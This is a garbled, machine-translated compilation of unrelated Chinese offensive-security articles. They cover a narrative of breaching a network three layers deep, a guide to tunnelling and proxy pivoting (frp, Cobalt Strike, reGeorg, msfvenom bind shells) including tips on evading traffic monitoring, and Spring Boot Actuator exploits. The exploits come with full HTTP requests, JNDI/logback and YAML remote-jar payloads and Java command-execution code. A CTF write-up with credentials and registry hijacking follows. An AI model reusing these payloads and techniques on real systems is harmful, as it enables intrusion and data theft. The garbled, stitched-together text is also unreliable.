現時点では、これら2つのスプリングボードマシンを使用するだけで十分です。他の2つのMS17010と戦う必要はありません。次に、現在のCセグメントに関する情報を収集し、Webアセットをスキャンして生き残り、多数のWebアセットを見つけました。

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】手動分析により、SQL注入が見つかりました、そしてそれはDBAの許可でした:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】その後、管理者ユーザーが追加されてから3389をオンにしました(Nortonのため、定期的な無料キルのために時間がないので、主にポイントを獲得したので、サーバーに直接ログインしました)

そして、私は靴下を通して直接接続することはできません。これは制限のように感じられます。後で、MSTSC /管理者を使用することでログインすることができることがわかりました。

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】この時点で、私は92このマシンをスプリングボードとして使用して、71デスクトップにリモートでログインしました。

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】管理者のデスクトップがクローン化されました。

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】この時点で、以前に追加されたアカウントにログインして、リモートデスクトップに移動します。管理者のデスクトップです:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】一連の情報収集とパスワードコレクションを通じて、MSSQLおよびすべてのサイドステーションの許可を取得しました。

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】 一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】収集されたパスワードを介して、セグメントCのパスワードを正常にスプレーし続けます。 MSSQL:xxx.xxx.xxx.239

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

次に、コマンドを実行するためにXP_CMDSHELLに直接電話して、許可がまだ非常に大きいことがわかりました。

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

次に、bitsadminを使用してオンラインでCSに行きます。

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】この時点で、これら3つのマシンの許可:16、92、および239は取得されましたが、イントラネットはまだ発見されておらず、この時点でボトルネックに巻き込まれました。

この点に到達した後、私は水平に移動することは不可能であることがわかりました。他のウェブをヒットするために0日を使用したくありません。私は振り向いてMS17010を使用して200人をヒットしました:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】その後、同様に、シェルがCSにポップされ、ユーザーが追加され、リモートデスクトップグループが追加されました。

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】その後、ログインはログインが失敗したことを発見しました。

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】この時点で、MSTSC/管理者はバイパスし、ターゲットリモートデスクトップに正常にログインできます。

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

管理者のデスクトップは同じようにクローン化されました。

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】 MSTSCログインレコードなど、多くの貴重なものを見つけました。

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】 NAVICATデータベース資格情報を取得します。

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】とXshellには多くのSSHがあることがわかりました。

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

すべてのLinuxホストをログインできます。この時点で、SharpDecryptPWDを使用してパスワードを取得するだけですが、問題が見つかりました。

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】このことを使用してパスワードを後で確認する:(これらのものを使用したくなかったので、パスワードを1つずつチェックするのは面倒すぎます)

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

10個のイントラネットを備えたマシンがいくつかあることがわかりました。

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

既存のパスワードを使用して、LinuxホストをセグメントCで水平にスプレーします。

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】その後、いくつかのシェルをMSFにポップしました。

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】これまでのところ、このパブリックネットワークのCセグメントは基本的に浸透しており、多数のコアデータベース、スイッチ、およびWebサーバーが削除されています。次のステップは、10個のイントラネットのイントラネット浸透です。

イントラネットイントラネット10セグメントの2番目の層からのイントラネット浸透

ルートパスワードを取得したため、10.10.10.1/16のBセクションを直接スキャンしました。資産の大きな波があります。ここではスクリーンショットを撮りません。それらは何百もあり、私はesxiがあることを発見しました:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

アクセス制御システムを取得しました:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】は、特別な手段で水平に10個のセグメントの2つのSSHを倒し、イントラネットの3番目の層は192のセグメントとDocker環境であることがわかりました。

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

10セグメントにESXIがあるため、脆弱性を直接使用してESXIクラウドプラットフォームを取得し、すべてのマシンが非難されました。

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】この時点で、10番目のセクションは基本的に侵入されており、次のステップは192のイントラネットに浸透することです。

イントラネットセグメントの3番目の層からのイントラネット浸透192

通常のFSCANを介して192段落をスキャンしただけで、192の資産も非常に脂肪であることがわかりました。

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

その後、MS17010の2つの脆弱性が見つかりました。

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

今、私たちは関係を整理しました、そして、現在の環境は次のとおりです。

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

元のリンク:https://MP.Weixin.QQ.com/s?__biz=mzkxndewmda4mw==mid=2247491421Idx=1Sn=769D715D057112EB4EE1EBB8312E37KKSM241F6051F6055 83F946625F2689EC6214E9D47A61C6639999D2CD2A62C0DE464CENE=123KEY=F3D 6282F44B990E0F2527AF4DB8E088F25F3E43D0ABAF5F845FF52E14965E4FE188C890

序文

イントラネットの浸透、ウェブシェル、またはコバルトストライク、メタスプロイトが発売される場合などはほんの始まりに過ぎず、イントラネットを水平に移動し、結果を拡大し、コア領域を攻撃することについてです。ただし、侵入後の前提条件は、さらなる攻撃のためにイントラネットに「排他的なチャネル」を構築することです。ただし、実際の戦闘では、ネットワーク環境が異なるため、使用方法は異なります。

この記事の内容は、次のマインドマップに従って拡張されています

1049983-20230224142532264-1745740093.png

ターゲットアウトバウンド(ソックスプロキシ)

これは、実際の戦闘で最も喜んで遭遇するネットワーク環境です。ターゲットマシンは通常のインターネットにアクセスでき、ターゲットマシンにソックスエージェントまたはコバルトストライクを直接吊るすことができ、ターゲットのイントラネットチャネルを開きます。

frp(socks5)

FRPサーバー構成ファイル

[共通] bind_port=8080

FRPクライアント構成ファイル

[common] server_addr=xx.xx.xx.xxserver_port=8080#serviceポート共通Webポート[socks5]タイプ=tcpremote_port=8088plugin=socks5use_encrypting=trueuse_compression=true#socks5 password#pluginer=superman#plagin_passwdwd=xpasswdwdwdnj3

暗号化と圧縮の2つの関数がここに追加されますが、デフォルトでは有効にされていません。著者の紹介によると、圧縮アルゴリズムはSnappyを使用しています。

use_encryption=true enable enbryption [通信コンテンツの暗号化された送信、トラフィックが傍受されるのを効果的に防ぐ]

use_compression=True Enable Compression [圧縮のコンテンツを送信し、送信されたネットワークトラフィックを効果的に削減し、トラフィック転送を高速化しますが、追加のCPUリソースを消費します]

use_encryption=true、use_compression=trueは、関連するプロトコルの下に配置する必要があります。

FRPクライアントと構成ファイルがターゲットマシンに送信された後、プログラム名と構成ファイルが変更され、システム関連フォルダーに配置され、隠蔽を確保する

1049983-20230224142533345-25461972.png

Setg Proxies Socks5:xxx.xxx.xxx.xxx.xxx33608088

1049983-20230224142534352-1447532887.png

1049983-20230224142535339-171170652.png

暗号化圧縮の比較

これは、暗号化と圧縮機能を使用しないFRPクライアント構成ファイルです。メタプロイトはソックスプロキシを使用して、MS17_010で送信されたデータパケットをスキャンして、特定の攻撃動作を明確に識別できます。ターゲットイントラネットに「状況認識」やトラフィック分析などのセキュリティ機器がある場合、監視され、アクセス許可が失われます。

1049983-20230224142537124-265593420.png

暗号化と圧縮関数を使用した後、攻撃源アドレスも公開されますが、イントラネットのセキュリティ監視装置を回避して、送信されたデータパケットを区別することはできません。

1049983-20230224142538872-1038217254.png

コバルトストライク(socks4a)

制御されたターゲットマシンのビーコンに移動して、ソックスエージェントを有効にします

ビーコンソックス1024 #portは、VPS 1049983-20230224142540260-1761613912.pngの実際の状況に従って設定されています

メニューバーでプロキシピボットを表示したり、コピープロキシをMetasploitに接続するか、関連するセキュリティツールにSocks4aを直接ハングします。

1049983-20230224142541215-1251437351.png

オンラインマシンなし

これはリンクリンクです。メインリンク(ビーコン)が切断されている限り、それらはすべて切断されます!

smbビーコン

SMBビーコンの公式紹介:SMBビーコンは、親のビーコンを介して通信するために名前付きパイプを使用します。 2つのビーコンがリンクされると、子供のビーコンは親のビーコンからタスクを取得し、それを送信します。リンクされたビーコンは、通信にパイプという名前のWindowsを使用しているため、このトラフィックはSMBプロトコルにカプセル化されているため、SMBビーコンは比較的隠されています。

SMBリスナー(ホストとポートは無視できます)を作成し、リスナーの選択に注意を払い、セッションのルートで到達できるホスト由来セッションを選択します。

(listnerでSMBを作成し、右クリックしてスポーンとして、対応するリスナーを選択してオンラインに移動します)

1049983-20230224142542278-180468149.png

操作が成功した後、派生したSMBビーコンの接続状態であるキャラクター∞∞を見ることができます。

1049983-20230224142543098-1226011871.png

1049983-20230224142544024-1697757212.png

リンクホストリンクで切断したり、メインビーコンのホストを解除したりすることができます。

ビーコンリンク192.168.144.155Beacon Unlink 192.168.144.155

1049983-20230224142544793-801332852.png

リンクリスナー

オンラインホストでリスナーを作成します。

1049983-20230224142545857-1740604679.png

このタイプのリスナーに対応する実行可能ファイルまたはDLLをエクスポートします。

1049983-20230224142546752-1507421909.png

作成したばかりのリスナーを選択します。

1049983-20230224142547847-1044211816.png

現在オンラインのターゲットマシンに生成されたばかりの有料ロードをアップロードし、ここでpsexec.exeツールを使用します。 (Cobalstrike自体にはPSEXEC機能が十分に強力ではありません)

1049983-20230224142549243-84796711.png

ビーコンのPSEXECツールを使用して、ネットワークを離れないターゲットマシンにペイロードをアップロードし、自動的に実行し、オンラインになります。

ビーコンシェルC: \ Windows \ Temp \ psexec.exe -Accepteula \\ 192.168.144.155,192.168.144.196 -U管理者@123 -d -C C: \ Windows \ Temp \ Beacon.exe 1049983-20230224142550123-1684873727.png

ビーコンシェルネットスタット-ANO | FindSTR 4444 1049983-20230224142551200-270034115.png

sshログイン

ビーコンSSH 192.168.144.174:22ルート管理者SSH 192.168.144.203:22ルート管理1049983-20230224142552831-1968669971.png

Linuxターゲットマシンのネットワーク接続ステータスを確認することは、実際には以前に起動したWindowsホストに確立された接続です。

1049983-20230224142553943-548434050.png

ターゲットはネットワークから出ない(HTTPプロキシ)

ターゲットマシンネットワークには、ファイアウォール、ネットワークゲートなどがある場合があります。これは、HTTP一元配電のみを許可し、通常はインターネットにアクセスできません。上記のソックス法は実行不可能であり、HTTPプロキシを使用して浸透するためにのみ使用できます。

regeorg(socks5)

Python regeorgsocksproxy.py -u 3http://192.168.144.211/tunnel.aspx -l 0.0.0.0 -P 10080 1049983-20230224142555256-361722001.png

Metasploitを使用してRegeorg Socks Proxyをハングアップし、MS17_010から送信されたデータパケットをスキャンして、攻撃動作を明確に識別できます。

1049983-20230224142556497-189470924.png

neo-regeorg(暗号化)

python neoreg.py -k test@123 -l 0.0.0.0 -p 10081 -U http://192.168.144.211/neo -tunnel.aspx neo -regeorgを使用した後、パケットは覆われ、送信されました。

1049983-20230224142557625-1253582995.png

1049983-20230224142559130-1424827852.png

Ice Scorpion(Open Socks5)

Ice Scorpionのパケット送信は暗号化されており、Socks Proxyの機能もありますが、送信プロセス中にパケット損失があります。ここでは、Metasploitを使用してMS17_010の脆弱性を検出しますが、結果は存在しないことを示しています。プロキシ検出が設定されていない場合、実際の脆弱性が存在します。

アイススコーピオンのプロキシスキャン方法はRegeorgほど正確ではありませんが、補助/スキャナー/ポートスキャン/TCPなど、小さなスレッドのポート検出が実現可能です。精度は、何らかの検出またはその他の伝送方法でのパケットの数によってより決定されます。

1049983-20230224142600344-1412889751.png

reduh(シングルポート転送)

Reduh使用法:https://Blog.csdn.net/nzjdsds/article/details/82930774

ターゲットサーバーミドルウェアおよびその他のサービスのサービスバージョンが低く、RegeorgまたはIce Scorpion Horseが正常に解決できない場合、他のHTTPプロキシスクリプトを使用する必要があります。これは、実際の戦いで遭遇する環境です。

1049983-20230224142601591-2079437689.png

ここで例として、Reduhを取り上げてください。指定されたポート(グラフィカル接続操作は該当しない)のみを転送しますが、最初にMSFvenomを使用してフォワードシェルペイロードを生成し、次にReduhシングルポート転送を組み合わせてMetasploitを起動し、最後にSocks4Aモジュールを使用してプロキシを開きます。

以下の特定のプロセスを見てみましょう。

sudo msfvenom -platform windows -p windows/shell_bind_tcp lport=53 -e x86/shikata_ga_nai -i 5 -f exe -o -o x86shell.exe# - プラットフォームプラットフォームプラットフォームプラットフォームプラットフォーム#-e、-ecoderエンコーダーのターゲットプラットフォームを指定します。1049983-20230224142602934-1200891124.png

ペイロードをターゲットサーバーにアップロードして実行します。

1049983-20230224142603965-416795358.png

Metasploitは、転送を聞いた後のアドレスとポートです。

sudo msfconsole -qmsf5の使用exploit/multi/handlermsf5 exploit(multi/handler)setpayload windows/shell_bind_tcpmsf5 exploit(multi/handler)setrhost 127.0.0.0.1msf5 exploit(multi/handler)setlport 5353msf5 exploit(multi/handler)setlport

1049983-20230224142604758-483591403.png

Java -jar reduhclient.jar http://103.242.xx.xx/reduh.aspxtelnet 127.0.0.1 1010 [CreateTunnel] 53533:127.0.0.1:53 1049983-20230224142605953-743617388.png

Metasploitに浸透するか、Socks4aをオンにし、他のセキュリティツールをマウントして浸透を継続することができます。

MSF5 Exploit(Multi/Handler)auxiliary/server/socks4amsf5 auxiliary(server/socks4a)setsrvport 10080msf5 Auxiliary(server/socks4a)run -J 1049983-20230224142606896-1778899880.png run -j 1049983-20230224142606896-1778899880.png

知らせ

なぜペイロードはメータープレターの代わりにシェルを使用するのですか? MeterPreterは、送信中に多数のデータパケットを占める高レベルのペイロードです。このシングルポート転送は、まったく安定していません。 MeterPreterは「小さな水道管」をより不安定にします!

1049983-20230224142608228-1078214678.png

分離ネットワーク(マルチレベルエージェント)

イントラネットの浸透では、孤立したネットワークがあり、しばしば論理的に分離されています。画期的な方法は、ルートアクセス可能なスプリングボードマシン(複数のネットワークカード、操作およびメンテナンスマシンなど)の許可を取得し、第1レベルのセカンドレベルエージェントとサードレベルエージェントを確立することです。

frp

デュアルネットワークカードイントラネットサーバーの許可を取得し、FRPを使用してチャネルを確立できます。このサーバーは、サーバーとクライアントの両方です。

(詳細については、https://www.cnblogs.com/panda-mosen/p/13096260.htmlを参照してください)

1049983-20230224142609583-1740371388.png

proxifier

FRPで設立が行われた後、外部ネットワークソックスと内部ネットワークソックの2つのプロキシングをプロキシファイアと組み合わせて追加し、プロキシチェーンを作成します。 (プロキシ注文に注意してください)

1049983-20230224142610421-647772374.png

プロキシルールを設定し、対応するプロキシを選択します。

1049983-20230224142611293-383878925.png

第2層エージェントが成功し、イントラネットアイソレータ445の検出が開かれました。

1049983-20230224142612056-496052384.png

proxychains

コマンドラインプロキシアーティファクトプロキシチャイン、2層プロキシとソックスのパスワードを設定します。 (プロキシ注文に注意してください)

1049983-20230224142612925-438785037.png

Linked Metasploit、MS17_010検出、プロキシチェーンの伝送プロセスを見ることができます。

1049983-20230224142613833-2089296271.png

Metasploitを利用するために、セッションのルートにアクセスできる限り、多層ネットワークの浸透を直接実行でき、より便利です。しかし、メインセッションはドロップされ、それらはすべて削除されます!

ターゲットのセッションを取得した後、IPセグメント情報を表示して、ルーティングテーブルを自動的に追加できます。

MSF5 Exploit(Multi/Handler)セッション1MeterPreter run get_local_subnetsmeterpreter run autoroute -pmeterpreter run run run run run run run autoroute autoroute -pmeterpreterバックグラウンド1049983-20230224142614751-1941725556.png

上記はMeterPreterの許可に追加されます。または、ターゲットルーティングテーブル情報がわかっている場合は、直接追加できます。

MSF5エクスプロイト(マルチ/ハンドラー)ルート追加172.20.20.0/24 1 //セッションID 1MSF5エクスプロイト(マルチ/ハンドラー)ルート1049983-20230224142616334-533434405.png

Metasploitに浸透し続けるか、靴下をオンにして、他のツールを取り付けて複数の層に浸透することができます。

MSF5 Exploit(Multi/Handler)auxiliary/server/socks4amsf5 auxiliary(server/socks4a)setsrvport 1080msf5 Auxiliary(server/socks4a)run -j、およびopen/etc/proxychains.conf

1049983-20230224142617197-1581376007.png

オリジナルリンク:https://www.cnblogs.com/yokan/p/14057794.html

1。 Springboot envに *敏感な情報を取得します

Springbootサイトに直接アクセスすると、一部のパスワードフィールドが *で満たされていることがわかります。

クリアテキストフィールドは$ {name} 2を介して取得できます。不適切な構成は、機密情報の漏れにつながります(パスワードコールアスタリスク、PWDはアスタリスクを呼び出しません1049983-20230301123203473-1048483928.jpg参照https://MP.weixin.Q.com/s/s/hmgeyrcf1HSVW995501

特定の実装プロセス:

たとえば、 PIDパラメーター値を取得したい

'pid':' 10648 '、

post /env http /1.1

HOST: 10.20.24.191:8090

user-agent: mozilla/5.0(macintosh; intel mac os x 10.14; rv336052.0)gecko/20100101 firefox/52.0

Accept: Text/HTML、Application/XHTML+XML、Application/XML; Q=0.9、*/*; Q=0.8

Accept-Language: Zh-Cn、Zh; q=0.8、en-us; q=0.5、en; q=0.3

Accept-Encoding: gzip、deflate

Connection:閉じます

アップグレード-Insecure-Requests: 1

Content-Type:アプリケーション/x-www-form-urlencoded

Content-Length: 76

eureka.client.serviceurl.defaultzone=http://$ {pid }@10.20.24.191:2444/

次に、コンテンツを更新し、脆弱性をトリガーします

PS:は通常、応答パッケージを持つために3秒待つ必要があります。リターンがリフレッシュできないSpring-Boot-Starter-Actuator拡張機能パッケージがないためである可能性がある場合、悪用することはできません。

投稿/更新http /1.1

HOST: 10.20.24.191:8090

user-agent: mozilla/5.0(macintosh; intel mac os x 10.14; rv336052.0)gecko/20100101 firefox/52.0

Accept: Text/HTML、Application/XHTML+XML、Application/XML; Q=0.9、*/*; Q=0.8

Accept-Language: Zh-Cn、Zh; q=0.8、en-us; q=0.5、en; q=0.3

Accept-Encoding: gzip、deflate

Connection:閉じます

アップグレード-Insecure-Requests: 1

Content-Type:アプリケーション/x-www-form-urlencoded

Content-Length: 5

12312

サーバーNCがポート2444に耳を傾けると、受信されます

root@kali:/tmp#nc -lvvp 2444

[任意の] 2444で聞く.

Kali [10.20.24.191] 40960から[10.20.24.191]に接続します

get/xstream/apps/http/1.1

Accept: Application/JSON

discoveryidentity-name: defaultclient

DiscoveryIdentity-version: 1.4

DiscoveryIdentity-ID: 10.20.24.191

Accept-Encoding: GZIP

host: 10.20.24.191:2444

Connection: Keep-Alive

user-agent: java-eurekaclient/v1.4.11

Authorization: BASIC MZGZNDY6BNVSBA==

Authorization: BASIC MZGZNDY6BNVSBA==

取得するためのbase64デコード

root@kali:/tmp#echo mzgzndy6bnvsba==| base64 -d

38346:Null

上記のPID情報と同じです

同様に、user.countryパラメーターを取得すると、手順は同じです

結果:

root@kali:/tmp#nc -lvvp 2555

[任意の] 2555で聞く.

Kali [10.20.24.191]から[10.20.24.191]に接続します。38994

get/xstream/apps/http/1.1

Accept: Application/JSON

discoveryidentity-name: defaultclient

DiscoveryIdentity-version: 1.4

DiscoveryIdentity-ID: 10.20.24.191

Accept-Encoding: GZIP

HOST: 10.20.24.191:2555

Connection: Keep-Alive

user-agent: java-eurekaclient/v1.4.11

Authorization: Basic VVM6BNVSBA==

0、RCVD 310を送信します

取得するためのbase64デコード

root@kali:/tmp#echo vvm6bnvsba==| base64 -d

US: Null Scripting:

照会するパラメーターを入力し、NC llad5cqintr3197.pngで聴くポートを入力します

1049983-20230301123204371-1348724531.jpg

ポートを聴き、指定されたヘッダーヘッダーを取得し、自動的にbase64復号化5ffticqtc4w3199.png

1049983-20230301123205136-1093949527.jpg 1049983-20230301123206021-825774621.jpg

PS:ターゲットクラスパス(通常はSpring Cloud Netflixに含まれる)にEureka-Client 1.8.7を持つことができた場合、XStream Deserializationの脆弱性を活用できます。

たとえば、USER-AGENT: JAVA-EUREKACLIENT/V1.4.11

2。 springboot_actuator jndi rce

1。環境構築

git clone 3https://github.com/veracode-research/actuator-testbed

起動する

MVNインストール

または

MVN Spring-Boot:Run

コンピレーションと操作により、リスニングIPアドレスは127.0.0.1であり、ローカルマシンのみでアクセスできることがわかりました。 Baidu検索、0.0.0.0に変更するだけです。

キーファイルを見つけます

grep -r 'server.address' -n ./

./src/main/resources/application.properties:23360server.address=127.0.0.1

./target/classes/application.properties:2:server.address=127.0.0.1

に変更します

server.port=8090

server.address=0.0.0.0

#脆弱な構成セット0:スプリングブート1.0-1.4

#すべてのスプリングブートバージョン1.0-1.4パラメーターなしでデフォルトでアクターを公開する

#それらを公開するために必要な構成はありません

#セーフ構成セット0:スプリングブート1.0-1.4

#management.security.enabled=true

#脆弱な構成セット1:スプリングブート1.5+

#スプリングブート1.5+はmanagement.security.enabled=falseを必要とします敏感なアクターを公開する

#management.security.enabled=false

#セーフ構成セット1:スプリングブート1.5+

# 'management.security.enabled=false'が、すべての敏感なアクターが明示的に無効になっている場合

#management.security.enabled=false

#脆弱な構成セット2:スプリングブート2+

#management.endpoints.web.exposure.include=*

2。再起動して起動

mvn spring-boot:run

または

/opt/jdk1.8.0_60//bin/java-classpath /opt/apache-maven-3.6.2/plexus-classworlds-2.6.0.jar -dclassworlds.conf=/opt/apache-maven-3.6.2/bin/bin/m2.conf -dmaven.home=/opchmen.home -dlibrary.jansi.path=/opt/apache-maven-3.6.2/lib/jansi-native -dmaven.multimoduleprojectdirectory=/root/actuator/actuator-testbed org.codehaus.plexus.classworlds.launcher.launchersprun-boot3:Run

しばらく待ってください

root@kali:〜/actuator/actuator -testbed#netstat -ntpl | grep 8090

TCP6 0 0 :8090 :*聞いて33666/java

root@kali:〜/actuator/actuator-testbed#

http://10.20.24.191:8090/y3gktuvd0nd3206.png

1049983-20230301123206803-2050467207.png

http://10.20.24.191:8090/Jolokia/List umwecg2inj53214.png

1049983-20230301123207520-1178629798.png

reloadbyurlは、リモートURL XMLファイルをロードできます

'ch.qos.logback.classic': {

'name=default、type=ch.qos.logback.classic.jmx.jmxconfigurator': {

'op': {

'reloadbyurl': {

'args': [

{

'name ':' p1 '、

'Type':' java.net.url '、

'desc':' '

}

]、

'ret':' void '、

'desc':'管理のために公開された操作'

}

3.HTTP Service Stores logback.xml、exportobject.class

logback.xmlファイルコンテンツ

mwanhhuwvaa3219.png

1049983-20230301123208204-1124192519.pngConfiguration

InsertFromjndi env-entry-name='rmi: //10.20.24.19133601099/exploit' as='appname'/

/構成

ExportObject.java

java.io.bufferedreaderをインポートします。

java.io.inputStreamをインポートします。

java.io.inputStreamReaderをインポートします。

Public Class ExportObject {

public ExportObject()スロー例外{

process var1=runtime.getRuntime()。exec( 'touch /tmp /jas502n');

inputstream var2=var1.getinputStream();

BufferedReader var3=new BufferedReader(new inputStreamReader(var2));

文字列var4;

while((var4=var3.readline())!=null){

System.out.println(var4);

}

var1.waitfor();

var2.close();

var3.close();

var1.destroy();

}

public static void main(string [] var0)は例外をスローします{

}

}

4.rceトリガー

RMIポートを聴いてください

root@kali:〜/ldap_rmi#cat rmi.sh

Java -CP MARSHALSEC-0.0.3-SNAPSHOT-ALL.JAR MARSHALSEC.JNDI.RMIREFSERVER http://10.20.24.191:8000/#EXPORTOBJECT

root@kali:〜/ldap_rmi#./rmi.sh

* 1099にJRMPリスナーを開く

/10.20.24.191:43878から接続があります

メッセージを読む.

rmi.lookup call for exportobject 2です

http://10.20.20.24.191:8000/exportobject.classをターゲットとするリモートクラスロードスタブの送信

接続を閉じます

ブラウザアクセスは、解析用のリモートlogback.xmlファイルをロードします。

サーバーは悪意のあるJNDIアドレスにアクセスし、悪意のあるバイトコードコードの実行を引き起こします

http://10.20.24.191:8090/jolokia/exec/ch.qos.logback.classic:name=default、type=ch.qos.l ogback.classic.jmx.jmxconfigurator/reloadbyurl/http:

myua4gfcyvq3226.png

1049983-20230301123208943-696382667.png

5。コマンドの実行は成功しました

root@kali:/var/www/html#ls/tmp/j*

/TMP/JAS502N

root@kali:/var/www/html#

iii。 YML RCE脆弱性

スプリング環境でRCEを実装する方法spring.cloud.bootstrap.locationプロパティの変更はより信頼性が高い

このプロパティは、外部構成をロードし、YAML形式で解析するために使用されます。これを達成するために、ポスト/リフレッシュコンテンツは脆弱性を引き起こします。 yaml_payload.ymlファイルコンテンツ:

! javax.script.scriptenginemanager [

! java.net.urlclassloader [[[[

! java.net.url ['http://10.20.24.191:8000/yaml_payload.jar']

]]

]

1.yaml_payload.jar製造

コード3https://github.com/artsploit/yaml-payload

1049983-20230301123209714-1255248784.jpgawesomescriptenginefactory.javaコードの一部

javax.script.scriptengineをインポートします。

javax.script.scriptengineFactoryをインポートします。

java.io.ioexceptionをインポートします。

java.util.listをインポートします。

Public Class AwesomeScriptEngineFactoryはScriptEngineFactoryを実装しています{

public wesomescriptengineFactory(){

試す {

runtime.getRuntime()。exec( 'touch /tmp /success');

} catch(ioException e){

e.printstacktrace();

}

}

ymal_payload.jar \ artsploit \ awesomescriptenginefactory.java

実際のバイトコードが含まれており、コンストラクターに悪意のあるペイロードがあります。

ymal_payload.jar \ services \ javax.script.scriptengineFactory

serviceloaderがクラスを見つける場所を知っているように、「artsploit.awesomescriptenginefactory」への完全な参照を含むテキストファイルだけ

コンテンツ:Artsploit.awesomescriptengineFactory

JARファイルはHTTPサーバーに存在します

http://10.20.24.191:8090/ymal_payload.jar

2.spring.cloud.bootstrap.location

をセットします

Sprud.cloud.bootstrap.location=http://10.20.24.191:8090/yaml_payload.yml

1049983-20230301123210372-433777415.pngpost /env http /1.1

HOST: 10.20.24.191:8090

user-agent: mozilla/5.0(windows nt 10.0; win64; x64; rv336055.0)gecko/20100101 firefox/55.0

Accept: Text/HTML、Application/XHTML+XML、Application/XML; Q=0.9、*/*; Q=0.8

Accept-Language: Zh-Cn、Zh; q=0.8、en-us; q=0.5、en; q=0.3

Accept-Encoding: gzip、deflate

x-forwarded-for: 127.0.0.1

Connection:閉じます

アップグレード-Insecure-Requests: 1

Content-Type:アプリケーション/x-www-form-urlencoded

Content-Length: 73

spring.cloud.bootstrap.Location=http://10.20.20.24.19133608000/yaml_payload.yml

3. refresh任意のコンテンツを投稿し、RCEの脆弱性がトリガーされました

1049983-20230301123211028-1986776549.pngPOST /更新HTTP /1.1

HOST: 10.20.24.191:8090

user-agent: mozilla/5.0(windows nt 10.0; win64; x64; rv336055.0)gecko/20100101 firefox/55.0

Accept: Text/HTML、Application/XHTML+XML、Application/XML; Q=0.9、*/*; Q=0.8

Accept-Language: Zh-Cn、Zh; q=0.8、en-us; q=0.5、en; q=0.3

Accept-Encoding: gzip、deflate

x-forwarded-for: 127.0.0.1

Connection:閉じます

アップグレード-Insecure-Requests: 1

Content-Type:アプリケーション/x-www-form-urlencoded

Content-Length: 5

12312

4.RCE実行は成功しました

1049983-20230301123211641-785428136.jpgROOT@kali:/var/www/html#ls/tmp/suck*

/TMP/成功

root@kali:/var/www/html#ps: eurekaのxstreamペイロードと比較して、yamlメソッドは最新バージョンでも使用できます。参照リンク3https://www.veracode.com/blog/research/exploiting-spring-boot-actuatorsオリジナルリンク:https://github.com/jas502n/springboot_actuator_rce

0x1情報

tag:

MSSQL、特権エスカレーション、Kerberos、ドメイン浸透、RDP image

範囲アドレス:https://yunjing.icunqiu.com/ranking/summary?id=bzmfnfpvudu

0x2 recon

ターゲット外部IP47.92.82.196nmap SA:1QAZ!QAZ image

0x3エントリポイントmssql -172.22.8.18

序文、このマシンはドメインMSSQLシェルに直接はありません(ここでスクリーンショットを撮るのを忘れていました.)

getClsid.ps1を変更し、実行ポテトimageを追加します

ジャガイモとgetclsid.ps1 image

getclsid.ps1 imageを実行します

有効なCLSIDおよびコマンド実行結果image Export SAM、System、Security imageを取得する

資格情報を解決し、管理者+ psexec 139を水平に使用して(外部ネットワークは445を開けません)flag01administrator 2CAF35BB4C5059A3D50599844E2B9B1F image550-69510に来るマシンを把握するためにポート接続image管理者PSEXECを使用してMSF(システム許可)、Incognitoモジュールを使用し、Johnをシミュレートします(MSFのIncognitoのみが後続の操作を完了することができるとテストしました。image \\ tsclient \ cの下の資格情報を直接取得し、ハイジャック画像をプロンプト(ミラーハイジャック)xiaorang.lab \ aldrich:ald@rlmwuy7z!#image cme scan scan scan scan scan scan scan scan skip the cme scan skip the cme scan skip the cme scan scanマシンは、パスワードの有効期限が切れていることを促します。imageテストDC01ポート88が有効であるかどうか(ドメイン制御がドメインコントロールであるかどうかをテスト)、DC01はドメインコントロールSMBPASSWD.py 111QQQQQをリモートで変更し、imageLDAPSHELL.PYAFIFACIAL、LOGIN DOMAN列挙RDPは、172.22.8.46をログインして入力できることを示しています(公式のCME RDPモジュールを使用して、有効なRDP資格情報をスキャンしません。XFreerDPに基づいてCMEモジュールを書きました)

Xiaolichan/CrackMapexec-Extension image

0x4ドメイン浸透 - 入り口-172.22.8.46

ログインと表示Xiaorang.lab \ aldrichはこのマシンの管理者ではなく、当局を増やすための普通のユーザーです。 2つの方法

PRIV-ESC1:ミラーハイジャックの標高(一般)

get-aclはレジストリ「HKLM: \ Software \ Microsoft \ Windows NT \ CurrentVersion \ Imageファイルの実行オプション」に書き込み、操作imageを作成できます。

gmagify.exe(拡大ガラス)をハイジャックし、cmd.exeimageを実行するレジストリを作成します

ユーザーimageをロックします

拡大ガラスimageをクリックします

